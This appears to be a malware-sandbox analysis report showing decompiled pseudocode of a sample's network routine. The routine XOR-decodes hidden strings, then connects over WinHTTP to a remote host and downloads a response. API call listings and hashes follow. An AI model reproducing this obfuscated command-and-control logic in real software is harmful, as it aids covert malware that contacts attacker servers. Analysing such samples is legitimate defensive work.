API ID: Local$Free$Security$Descriptor$DaclInitialize$AllocInformation_chkstk
String ID:
API String ID: 3341794459-0
Opcode ID: dbfe3ec0c8ce2e709ad29ff66495147ea6f3ccd0a4277036cb1f80b51b5695d7
Instruction ID: a322ce995d2e5d9f242b72827a9b653e043d7ad73dee1200cfda927bb3704914
Opcode Fuzzy Hash: dbfe3ec0c8ce2e709ad29ff66495147ea6f3ccd0a4277036cb1f80b51b5695d7
Instruction Fuzzy Hash: E8511E71A44209EBDB04CBE4DD84FEFBBB8BF48740F108559E605E7250E735AA81DB68

Function 00435635, Relevance: .0, Instructions: 44

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b2621ac02b20d8801b228bbbcfd93feadf94717af2a61dc71ba23adbd51fb3
Instruction ID: 3fdc7e818d7ab7950d716105a5cddc9b3ecea5625307eaf1ba729dad2fc934aa
Opcode Fuzzy Hash: f9b2621ac02b20d8801b228bbbcfd93feadf94717af2a61dc71ba23adbd51fb3
Instruction Fuzzy Hash: 10F06DB0D14609AEEB45DFBD8A423AFBBF9EB08310F60C47B9409E2340F2348A408A54

Function 00413990, Relevance: 396.3, APIs: 42, Strings: 184, Instructions: 808
threadmemorystring

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00413990(CHAR* _a4, long* _a8, intOrPtr _a12, long _a16, signed int* _a20, long* _a24, signed int _a28, signed short _a32) {
				signed int _v8;
				char _v12;
				char _v16;
				CHAR* _v20;
				char _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				void* _v320;
				long _v324;
				signed int _v328;
				char _v332;
				signed int _v336;
				long _v340;
				long _v344;
				char _v356;
				long _v360;
				long _v364;
				void* _v368;
				long _v372;
				signed int _v376;
				char _v380;
				long _v384;
				long _v388;
				signed int _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				intOrPtr _v412;
				void* _v416;
				long _v420;
				long _v424;
				signed int _v428;
				signed int _v432;
				long _v436;
				long _v440;
				signed int _v444;
				long _v448;
				short _v704;
				void _v1224;
				void* _t516;
				long _t521;
				signed int _t525;
				signed int _t542;
				signed int _t547;
				signed int _t550;
				signed char _t555;
				signed int _t618;
				signed int _t624;
				signed int _t648;
				signed int _t701;
				signed int _t711;
				signed int _t724;
				signed int _t727;
				long _t745;
				long* _t752;
				void* _t788;
				void* _t789;
				void* _t791;
				void* _t792;
				void* _t793;

				_v40 = 0;
				_v436 = 0;
				_v20 = 0;
				_v440 = 0;
				_v324 = 0;
				memset( &_v704, 0, 0x100 << 0);
				memset( &_v1224, 0, 0x208 << 0);
				_t791 = _t789 + 0x18;
				if(_a12 != 0x40) {
					__eflags = _a12 - 0x20;
					if(_a12 != 0x20) {
						__eflags = _a12 - 0x140;
						if(_a12 == 0x140) {
							 *((intOrPtr*)(_t788 + 0xfffffffffffffea0)) = 0x6f62722f;
							 *(_t788 + 0xbada4d) = 0x32337964;
							__eflags = 4;
							 *(_t788 + 0xbada4d) = 0x30;
						}
					} else {
						 *((intOrPtr*)(_t788 + 0xfffffffffffffea0)) = 0x6f62722f;
						 *(_t788 + 0xbada4d) = 0x32337964;
						 *(_t788 + 0xbada4d) = 0;
					}
				} else {
					 *((intOrPtr*)(_t788 + 0xfffffffffffffea0)) = 0x6f62722f;
					 *(_t788 + 0xbada4d) = 0x34367964;
					 *(_t788 + 0xbada4d) = 0;
				}
				if(_a16 == 0) {
					_v324 =  &_v356;
				} else {
					_v324 = _a16;
				}
				_v388 = 0;
				_t516 = E004138D0(_a4,  &_v388); // executed
				_t792 = _t791 + 8;
				if(_t516 != 0) {
					_v444 = 1;
					_v448 = 0;
					__eflags =  *0x429390;
					if( *0x429390 != 0) {
						L22:
						_v20 = _a4;
						__eflags = _v20;
						if(_v20 != 0) {
							_v40 = lstrlenA(_v20) + 1;
							_t521 = _v40 << 1;
							__eflags = _t521;
							_v360 = E00413760(HeapAlloc(GetProcessHeap(), 8, _t521), _v20, _v40);
						} else {
							_v360 = 0;
						}
						_v320 = _v360;
						_t525 = _v320;
						_t648 =  *0x429390; // 0x2074df0
						__imp__WinHttpConnect(_t648, _t525, _a32 & 0x0000ffff, 0); // executed
						_v328 = _t525;
						E004137A0( &_v24, _v328);
						_v124 = 0x58;
						_v123 = 0x76;
						_v122 = 0x1f;
						_v121 = 0x64;
						_v120 = 0x2d;
						_v119 = 0x30;
						_v118 = 6;
						_v117 = 0x6b;
						_v116 = 0x17;
						_v115 = 0x59;
						_v114 = 0xa;
						_v113 = 0x76;
						_v112 = 0x44;
						_v111 = 0x64;
						_v110 = 0x76;
						_v109 = 0x30;
						_v108 = 0x53;
						_v107 = 0x6b;
						_v106 = 0x17;
						_v105 = 0x59;
						_v104 = 0xa;
						_v103 = 0x76;
						_v102 = 0x4e;
						_v101 = 0x64;
						_v100 = 0x3d;
						_v99 = 0x30;
						_v98 = 0x59;
						_v97 = 0x6b;
						_v96 = 0x64;
						_v95 = 0x59;
						_v60 = 0x30;
						_v59 = 0x76;
						_v58 = 0x6b;
						_v57 = 0x64;
						_v56 = 0x59;
						E00402B00( &_v12, 0x3c);
						_v36 = 0;
						while(1) {
							__eflags = _v36 - 0x1e;
							if(_v36 >= 0x1e) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t291 = _v36 % 5 - 0x38; // 0x30
								__eflags =  *(_t788 + _v36 - 0x78) & 0x000000ff ^  *(_t788 + _t291) & 0x000000ff;
								E00402AE0( &_v12, _v36,  *(_t788 + _v36 - 0x78) & 0x000000ff ^  *(_t788 + _t291) & 0x000000ff);
							}
							_t618 = _v36 + 1;
							__eflags = _t618;
							_v36 = _t618;
						}
						_push(0x50);
						_push(_v320);
						wsprintfW( &_v704, E00402AD0( &_v12));
						_t793 = _t792 + 0x10;
						HeapFree(GetProcessHeap(), 0, _v320);
						__eflags = _v328;
						if(_v328 != 0) {
							_v400 = 0x800140;
							_v20 = _v324;
							__eflags = _v20;
							if(_v20 != 0) {
								_v40 = lstrlenA(_v20) + 1;
								_t745 = _v40 << 1;
								__eflags = _t745;
								_v364 = E00413760(HeapAlloc(GetProcessHeap(), 8, _t745), _v20, _v40);
							} else {
								_v364 = 0;
							}
							_v368 = _v364;
							_v92 = 0xd;
							_v91 = 0x4d;
							_v90 = 1;
							_v89 = 0x36;
							_v88 = 0x3f;
							_v87 = 0x70;
							_v86 = 0x4a;
							_v85 = 0x4d;
							_v76 = 0x4a;
							_v75 = 0x4d;
							_v74 = 0x44;
							_v73 = 0x36;
							_v72 = 0x6b;
							_v71 = 0x70;
							E00402B00( &_v16, 0x10);
							_v44 = 0;
							while(1) {
								__eflags = _v44 - 8;
								if(_v44 >= 8) {
									break;
								}
								__eflags = 1;
								if(1 != 0) {
									asm("cdq");
									_t344 = _v44 % 6 - 0x48; // 0x4a
									__eflags =  *(_t788 + _v44 - 0x58) & 0x000000ff ^  *(_t788 + _t344) & 0x000000ff;
									E00402AE0( &_v16, _v44,  *(_t788 + _v44 - 0x58) & 0x000000ff ^  *(_t788 + _t344) & 0x000000ff);
								}
								_t711 = _v44 + 1;
								__eflags = _t711;
								_v44 = _t711;
							}
							_t542 = _v328;
							__imp__WinHttpOpenRequest(_t542, E00402AD0( &_v16), _v368, 0, 0, 0, _v400); // executed
							_v8 = _t542;
							HeapFree(GetProcessHeap(), 0, _v368);
							E004137A0( &_v28, _v8);
							__eflags = _v8;
							if(__eflags != 0) {
								_v408 = 0x3300;
								_v424 = 8;
								_t547 = E004069A0(__eflags,  &_v704,  &_v1224); // executed
								__eflags = _t547;
								if(_t547 != 0) {
									_v420 = 0;
									__eflags = 0;
									_v416 = 0;
									_v412 = 0;
									_v420 = 3;
									_v416 =  &_v1224;
									__imp__WinHttpSetOption(_v8, 0x26,  &_v420, 0xc);
								}
								__imp__WinHttpSetOption(_v8, 0x1f,  &_v408, 4);
								__imp__WinHttpSetOption(_v8, 0x3f,  &_v424, 4);
								__eflags = _a28;
								if(_a28 == 0) {
									L54:
									_t550 = _v8;
									__imp__WinHttpSendRequest(_t550, 0, 0xffffffff, 0, 0, 0, 0); // executed
									__eflags = _t550;
									if(_t550 != 0) {
										__imp__WinHttpReceiveResponse(_v8, 0);
										__eflags = _t550;
										if(_t550 != 0) {
											_v344 = 0;
											_v340 = 0;
											_v336 = 4;
											__imp__WinHttpQueryHeaders(_v8, 0x20000005, 0,  &_v344,  &_v336, 0);
											__eflags =  *_a20;
											if( *_a20 == 0) {
												 *_a20 = _v344;
											}
											_v336 = 4;
											__imp__WinHttpQueryHeaders(_v8, 0x20000013, 0,  &_v340,  &_v336, 0);
											__eflags = _v340 - 0xce;
											if(_v340 == 0xce) {
												L63:
												_t752 = _a8;
												__eflags =  *(_t752 + 4);
												if( *(_t752 + 4) == 0) {
													_a8[1] = HeapAlloc(GetProcessHeap(), 8, _v344);
													 *_a8 = 0;
												}
												_t555 = E00413910(_v8, _a8[1], _a8);
												__eflags = _t555 & 0x000000ff;
												if((_t555 & 0x000000ff) != 0) {
													 *_a24 =  *_a8;
													__eflags =  *_a20;
													if( *_a20 == 0) {
														L70:
														_v384 = 0;
														E004137C0( &_v28);
														E00402B30( &_v16);
														E00402B30( &_v12);
														E004137C0( &_v24);
														return _v384;
													}
													__eflags =  *_a8 -  *_a20;
													if( *_a8 ==  *_a20) {
														goto L70;
													}
													_v380 = 6;
													E004137C0( &_v28);
													E00402B30( &_v16);
													E00402B30( &_v12);
													E004137C0( &_v24);
													return _v380;
												}
												_v376 = 4;
												E004137C0( &_v28);
												E00402B30( &_v16);
												E00402B30( &_v12);
												E004137C0( &_v24);
												return _v376;
											}
											__eflags = _v340 - 0xc8;
											if(_v340 == 0xc8) {
												goto L63;
											}
											_v372 = 3;
											E004137C0( &_v28);
											E00402B30( &_v16);
											E00402B30( &_v12);
											E004137C0( &_v24);
											return _v372;
										}
										_v432 = 1;
										E004137C0( &_v28);
										E00402B30( &_v16);
										E00402B30( &_v12);
										E004137C0( &_v24);
										return _v432;
									}
									_v428 = 1;
									E004137C0( &_v28);
									E00402B30( &_v16);
									E00402B30( &_v12);
									E004137C0( &_v24);
									return _v428;
								} else {
									_v160 = 0x35;
									_v159 = 0x59;
									_v158 = 3;
									_v157 = 0x6d;
									_v156 = 1;
									_v155 = 0x6c;
									_v154 = 0;
									_v153 = 0x59;
									_v152 = 7;
									_v151 = 0x6d;
									_v150 = 0x55;
									_v149 = 0x6c;
									_v148 = 0x47;
									_v147 = 0x59;
									_v146 = 0;
									_v145 = 0x6d;
									_v144 = 0x16;
									_v143 = 0x6c;
									_v142 = 0x13;
									_v141 = 0x59;
									_v140 = 7;
									_v139 = 0x6d;
									_v138 = 0x1c;
									_v137 = 0x6c;
									_v136 = 0x5a;
									_v135 = 0x59;
									_v134 = 0x47;
									_v133 = 0x6d;
									_v132 = 0xb;
									_v131 = 0x6c;
									_v130 = 0x4a;
									_v129 = 0x59;
									_v128 = 0x62;
									_v127 = 0x6d;
									_v84 = 0x67;
									_v83 = 0x59;
									_v82 = 0x62;
									_v81 = 0x6d;
									_v80 = 0x6f;
									_v79 = 0x6c;
									E00402B00( &_v332, 0x44);
									_v48 = 0;
									while(1) {
										__eflags = _v48 - 0x22;
										if(_v48 >= 0x22) {
											break;
										}
										__eflags = 1;
										if(1 != 0) {
											asm("cdq");
											_t433 = _v48 % 6 - 0x50; // 0x67
											__eflags =  *(_t788 + _v48 - 0x9c) & 0x000000ff ^  *(_t788 + _t433) & 0x000000ff;
											E00402AE0( &_v332, _v48,  *(_t788 + _v48 - 0x9c) & 0x000000ff ^  *(_t788 + _t433) & 0x000000ff);
										}
										_t701 = _v48 + 1;
										__eflags = _t701;
										_v48 = _t701;
									}
									wsprintfW( &_v704, E00402AD0( &_v332));
									_t793 = _t793 + 0xc;
									__imp__WinHttpAddRequestHeaders(_v8,  &_v704, lstrlenW( &_v704), 0x10000000, _a28);
									E00402B30( &_v332);
									goto L54;
								}
							}
							_v404 = 1;
							E004137C0( &_v28);
							E00402B30( &_v16);
							E00402B30( &_v12);
							E004137C0( &_v24);
							return _v404;
						}
						_v396 = 1;
						E00402B30( &_v12);
						E004137C0( &_v24);
						return _v396;
					}
					_v316 = 0x79;
					_v315 = 0x4a;
					_v314 = 0xc;
					_v313 = 0x4d;
					_v312 = 0x4d;
					_v311 = 0x73;
					_v310 = 0x5d;
					_v309 = 0x4a;
					_v308 = 0xf;
					_v307 = 0x4d;
					_v306 = 0x5b;
					_v305 = 0x73;
					_v304 = 0x55;
					_v303 = 0x4a;
					_v302 = 0x4c;
					_v301 = 0x4d;
					_v300 = 2;
					_v299 = 0x73;
					_v298 = 0x1a;
					_v297 = 0x4a;
					_v296 = 0x53;
					_v295 = 0x4d;
					_v294 = 0x17;
					_v293 = 0x73;
					_v292 = 0x1c;
					_v291 = 0x4a;
					_v290 = 0x34;
					_v289 = 0x4d;
					_v288 = 0x5e;
					_v287 = 0x73;
					_v286 = 0x5a;
					_v285 = 0x4a;
					_v284 = 7;
					_v283 = 0x4d;
					_v282 = 0x58;
					_v281 = 0x73;
					_v280 = 0x43;
					_v279 = 0x4a;
					_v278 = 0x10;
					_v277 = 0x4d;
					_v276 = 0x17;
					_v275 = 0x73;
					_v274 = 0x7a;
					_v273 = 0x4a;
					_v272 = 0x37;
					_v271 = 0x4d;
					_v270 = 0x17;
					_v269 = 0x73;
					_v268 = 2;
					_v267 = 0x4a;
					_v266 = 0x4d;
					_v265 = 0x4d;
					_v264 = 6;
					_v263 = 0x73;
					_v262 = 0xf;
					_v261 = 0x4a;
					_v260 = 0x43;
					_v259 = 0x4d;
					_v258 = 0x60;
					_v257 = 0x73;
					_v256 = 0x5d;
					_v255 = 0x4a;
					_v254 = 0xd;
					_v253 = 0x4d;
					_v252 = 1;
					_v251 = 0x73;
					_v250 = 0;
					_v249 = 0x4a;
					_v248 = 0x58;
					_v247 = 0x4d;
					_v246 = 0x17;
					_v245 = 0x73;
					_v244 = 0x4c;
					_v243 = 0x4a;
					_v242 = 0x55;
					_v241 = 0x4d;
					_v240 = 3;
					_v239 = 0x73;
					_v238 = 0xf;
					_v237 = 0x4a;
					_v236 = 0x43;
					_v235 = 0x4d;
					_v234 = 0x45;
					_v233 = 0x73;
					_v232 = 0x42;
					_v231 = 0x4a;
					_v230 = 0x59;
					_v229 = 0x4d;
					_v228 = 5;
					_v227 = 0x73;
					_v226 = 1;
					_v225 = 0x4a;
					_v224 = 0x4d;
					_v223 = 0x4d;
					_v222 = 7;
					_v221 = 0x73;
					_v220 = 0x1d;
					_v219 = 0x4a;
					_v218 = 0x43;
					_v217 = 0x4d;
					_v216 = 0x70;
					_v215 = 0x73;
					_v214 = 0x51;
					_v213 = 0x4a;
					_v212 = 0;
					_v211 = 0x4d;
					_v210 = 0x5c;
					_v209 = 0x73;
					_v208 = 0x5b;
					_v207 = 0x4a;
					_v206 = 0x4c;
					_v205 = 0x4d;
					_v204 = 5;
					_v203 = 0x73;
					_v202 = 5;
					_v201 = 0x4a;
					_v200 = 0x53;
					_v199 = 0x4d;
					_v198 = 7;
					_v197 = 0x73;
					_v196 = 4;
					_v195 = 0x4a;
					_v194 = 0x52;
					_v193 = 0x4d;
					_v192 = 7;
					_v191 = 0x73;
					_v190 = 5;
					_v189 = 0x4a;
					_v188 = 0x43;
					_v187 = 0x4d;
					_v186 = 0x71;
					_v185 = 0x73;
					_v184 = 0x5d;
					_v183 = 0x4a;
					_v182 = 0x11;
					_v181 = 0x4d;
					_v180 = 0x52;
					_v179 = 0x73;
					_v178 = 0x52;
					_v177 = 0x4a;
					_v176 = 0xc;
					_v175 = 0x4d;
					_v174 = 0x4f;
					_v173 = 0x73;
					_v172 = 0x1b;
					_v171 = 0x4a;
					_v170 = 0x51;
					_v169 = 0x4d;
					_v168 = 2;
					_v167 = 0x73;
					_v166 = 0x1a;
					_v165 = 0x4a;
					_v164 = 0x53;
					_v163 = 0x4d;
					_v162 = 0x37;
					_v161 = 0x73;
					_v68 = 0x34;
					_v67 = 0x4a;
					_v66 = 0x63;
					_v65 = 0x4d;
					_v64 = 0x37;
					_v63 = 0x73;
					E00402B00( &_v52, 0x138);
					_v32 = 0;
					while(1) {
						__eflags = _v32 - 0x9c;
						if(_v32 >= 0x9c) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t217 = _v32 % 6 - 0x40; // 0x34
							__eflags =  *(_t788 + _v32 - 0x138) & 0x000000ff ^  *(_t788 + _t217) & 0x000000ff;
							E00402AE0( &_v52, _v32,  *(_t788 + _v32 - 0x138) & 0x000000ff ^  *(_t788 + _t217) & 0x000000ff);
						}
						_t727 = _v32 + 1;
						__eflags = _t727;
						_v32 = _t727;
					}
					_t624 = E00402AD0( &_v52);
					__imp__WinHttpOpen(_t624, 0, 0, 0, 0); // executed
					 *0x429390 = _t624;
					__eflags =  *0x429390;
					if( *0x429390 == 0) {
						_v392 = 1;
						E00402B30( &_v52);
						return _v392;
					}
					_t724 =  *0x429390; // 0x2074df0
					__imp__WinHttpSetTimeouts(_t724, 0x1388, 0x1388, 0x1388, 0x1388);
					E00402B30( &_v52);
					goto L22;
				} else {
					return 3;
				}
			}

0x0041399b
0x004139a2
0x004139ac
0x004139b3
0x004139bd
0x004139d4
0x004139e3
0x004139e3
0x004139e9
0x00413a28
0x00413a2c
0x00413a68
0x00413a6f
0x00413a79
0x00413a8c
0x00413a9c
0x00413a9e
0x00413a9e
0x00413a2e
0x00413a36
0x00413a49
0x00413a5b
0x00413a5b
0x004139eb
0x004139f3
0x00413a06
0x00413a18
0x00413a18
0x00413aad
0x00413ac0
0x00413aaf
0x00413ab2
0x00413ab2
0x00413ac6
0x00413adb
0x00413ae0
0x00413ae5
0x00413af1
0x00413afb
0x00413b05
0x00413b0c
0x00414038
0x0041403b
0x0041403e
0x00414042
0x0041405d
0x0041406b
0x0041406b
0x00414083
0x00414044
0x00414044
0x00414044
0x0041408f
0x0041409c
0x004140a3
0x004140aa
0x004140b0
0x004140c0
0x004140c5
0x004140c9
0x004140cd
0x004140d1
0x004140d5
0x004140d9
0x004140dd
0x004140e1
0x004140e5
0x004140e9
0x004140ed
0x004140f1
0x004140f5
0x004140f9
0x004140fd
0x00414101
0x00414105
0x00414109
0x0041410d
0x00414111
0x00414115
0x00414119
0x0041411d
0x00414121
0x00414125
0x00414129
0x0041412d
0x00414131
0x00414135
0x00414139
0x0041413d
0x00414141
0x00414145
0x00414149
0x0041414d
0x00414156
0x0041415b
0x0041416d
0x0041416d
0x00414171
0x00000000
0x00000000
0x00414178
0x0041417a
0x00414187
0x0041418f
0x00414194
0x0041419e
0x0041419e
0x00414167
0x00414167
0x0041416a
0x0041416a
0x004141a5
0x004141ad
0x004141be
0x004141c4
0x004141d7
0x004141dd
0x004141e4
0x0041420b
0x0041421b
0x0041421e
0x00414222
0x0041423d
0x0041424b
0x0041424b
0x00414263
0x00414224
0x00414224
0x00414224
0x0041426f
0x00414275
0x00414279
0x0041427d
0x00414281
0x00414285
0x00414289
0x0041428d
0x00414291
0x00414295
0x00414299
0x0041429d
0x004142a1
0x004142a5
0x004142a9
0x004142b2
0x004142b7
0x004142c9
0x004142c9
0x004142cd
0x00000000
0x00000000
0x004142d4
0x004142d6
0x004142e3
0x004142eb
0x004142f0
0x004142fa
0x004142fa
0x004142c3
0x004142c3
0x004142c6
0x004142c6
0x0041431e
0x00414325
0x0041432b
0x0041433e
0x0041434b
0x00414350
0x00414354
0x0041438b
0x00414395
0x004143ad
0x004143b2
0x004143b4
0x004143b6
0x004143c0
0x004143c2
0x004143c8
0x004143ce
0x004143de
0x004143f3
0x004143f3
0x00414408
0x0041441d
0x00414423
0x00414427
0x004145cd
0x004145d9
0x004145dd
0x004145e3
0x004145e5
0x00414622
0x00414628
0x0041462a
0x00414661
0x0041466b
0x00414675
0x0041469a
0x004146a3
0x004146a6
0x004146b1
0x004146b1
0x004146b3
0x004146d8
0x004146de
0x004146e8
0x0041472b
0x0041472b
0x0041472e
0x00414732
0x0041474d
0x00414753
0x00414753
0x00414768
0x00414773
0x00414775
0x004147b4
0x004147b9
0x004147bc
0x004147fc
0x004147fc
0x00414809
0x00414811
0x00414819
0x00414821
0x00000000
0x00414826
0x004147c6
0x004147c8
0x00000000
0x00000000
0x004147ca
0x004147d7
0x004147df
0x004147e7
0x004147ef
0x00000000
0x004147f4
0x00414777
0x00414784
0x0041478c
0x00414794
0x0041479c
0x00000000
0x004147a1
0x004146ea
0x004146f4
0x00000000
0x00000000
0x004146f6
0x00414703
0x0041470b
0x00414713
0x0041471b
0x00000000
0x00414720
0x0041462c
0x00414639
0x00414641
0x00414649
0x00414651
0x00000000
0x00414656
0x004145e7
0x004145f4
0x004145fc
0x00414604
0x0041460c
0x00000000
0x0041442d
0x0041442d
0x00414434
0x0041443b
0x00414442
0x00414449
0x00414450
0x00414457
0x0041445e
0x00414465
0x0041446c
0x00414473
0x0041447a
0x00414481
0x00414488
0x0041448f
0x00414496
0x0041449d
0x004144a4
0x004144ab
0x004144b2
0x004144b9
0x004144c0
0x004144c7
0x004144ce
0x004144d5
0x004144dc
0x004144e3
0x004144ea
0x004144f1
0x004144f5
0x004144f9
0x004144fd
0x00414501
0x00414505
0x00414509
0x0041450d
0x00414511
0x00414515
0x00414519
0x0041451d
0x00414529
0x0041452e
0x00414540
0x00414540
0x00414544
0x00000000
0x00000000
0x0041454b
0x0041454d
0x0041455d
0x00414565
0x0041456a
0x00414577
0x00414577
0x0041453a
0x0041453a
0x0041453d
0x0041453d
0x00414595
0x0041459b
0x004145bc
0x004145c8
0x00000000
0x004145c8
0x00414427
0x00414356
0x00414363
0x0041436b
0x00414373
0x0041437b
0x00000000
0x00414380
0x004141e6
0x004141f3
0x004141fb
0x00000000
0x00414200
0x00413b12
0x00413b19
0x00413b20
0x00413b27
0x00413b2e
0x00413b35
0x00413b3c
0x00413b43
0x00413b4a
0x00413b51
0x00413b58
0x00413b5f
0x00413b66
0x00413b6d
0x00413b74
0x00413b7b
0x00413b82
0x00413b89
0x00413b90
0x00413b97
0x00413b9e
0x00413ba5
0x00413bac
0x00413bb3
0x00413bba
0x00413bc1
0x00413bc8
0x00413bcf
0x00413bd6
0x00413bdd
0x00413be4
0x00413beb
0x00413bf2
0x00413bf9
0x00413c00
0x00413c07
0x00413c0e
0x00413c15
0x00413c1c
0x00413c23
0x00413c2a
0x00413c31
0x00413c38
0x00413c3f
0x00413c46
0x00413c4d
0x00413c54
0x00413c5b
0x00413c62
0x00413c69
0x00413c70
0x00413c77
0x00413c7e
0x00413c85
0x00413c8c
0x00413c93
0x00413c9a
0x00413ca1
0x00413ca8
0x00413caf
0x00413cb6
0x00413cbd
0x00413cc4
0x00413ccb
0x00413cd2
0x00413cd9
0x00413ce0
0x00413ce7
0x00413cee
0x00413cf5
0x00413cfc
0x00413d03
0x00413d0a
0x00413d11
0x00413d18
0x00413d1f
0x00413d26
0x00413d2d
0x00413d34
0x00413d3b
0x00413d42
0x00413d49
0x00413d50
0x00413d57
0x00413d5e
0x00413d65
0x00413d6c
0x00413d73
0x00413d7a
0x00413d81
0x00413d88
0x00413d8f
0x00413d96
0x00413d9d
0x00413da4
0x00413dab
0x00413db2
0x00413db9
0x00413dc0
0x00413dc7
0x00413dce
0x00413dd5
0x00413ddc
0x00413de3
0x00413dea
0x00413df1
0x00413df8
0x00413dff
0x00413e06
0x00413e0d
0x00413e14
0x00413e1b
0x00413e22
0x00413e29
0x00413e30
0x00413e37
0x00413e3e
0x00413e45
0x00413e4c
0x00413e53
0x00413e5a
0x00413e61
0x00413e68
0x00413e6f
0x00413e76
0x00413e7d
0x00413e84
0x00413e8b
0x00413e92
0x00413e99
0x00413ea0
0x00413ea7
0x00413eae
0x00413eb5
0x00413ebc
0x00413ec3
0x00413eca
0x00413ed1
0x00413ed8
0x00413edf
0x00413ee6
0x00413eed
0x00413ef4
0x00413efb
0x00413f02
0x00413f09
0x00413f10
0x00413f17
0x00413f1e
0x00413f25
0x00413f2c
0x00413f33
0x00413f3a
0x00413f41
0x00413f48
0x00413f4f
0x00413f56
0x00413f5a
0x00413f5e
0x00413f62
0x00413f66
0x00413f6a
0x00413f76
0x00413f7b
0x00413f8d
0x00413f8d
0x00413f94
0x00000000
0x00000000
0x00413f9b
0x00413f9d
0x00413fad
0x00413fb5
0x00413fba
0x00413fc4
0x00413fc4
0x00413f87
0x00413f87
0x00413f8a
0x00413f8a
0x00413fd6
0x00413fdc
0x00413fe2
0x00413fe7
0x00413fee
0x00414013
0x00414020
0x00000000
0x00414025
0x00414004
0x0041400b
0x00414033
0x00000000
0x00413ae7
0x00000000
0x00413ae7

APIs

Part of subcall function 004138D0: gethostbyname.WS2_32(00000000), ref: 004138E1

WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000138,?), ref: 00413FDC
WinHttpSetTimeouts.WINHTTP(02074DF0,00001388,00001388,00001388,00001388), ref: 0041400B
lstrlenA.KERNEL32(00000000,?), ref: 00414054
GetProcessHeap.KERNEL32(00000008,00000000,00000000,00000000), ref: 00414070
HeapAlloc.KERNEL32(00000000), ref: 00414077

Part of subcall function 00413760: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,00414083,00000000), ref: 00413786

WinHttpConnect.WINHTTP(02074DF0,?,00000000,00000000,00000000), ref: 004140AA

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

wsprintfW.USER32 ref: 004141BE
GetProcessHeap.KERNEL32(00000000,?), ref: 004141D0
HeapFree.KERNEL32(00000000), ref: 004141D7
Concurrency::details::UMSFreeVirtualProcessorRoot::InitialThreadParam::~InitialThreadParam.LIBCONCRTD ref: 004141FB
lstrlenA.KERNEL32(00000000), ref: 00414234
GetProcessHeap.KERNEL32(00000008,00000000,00000000,00000000), ref: 00414250
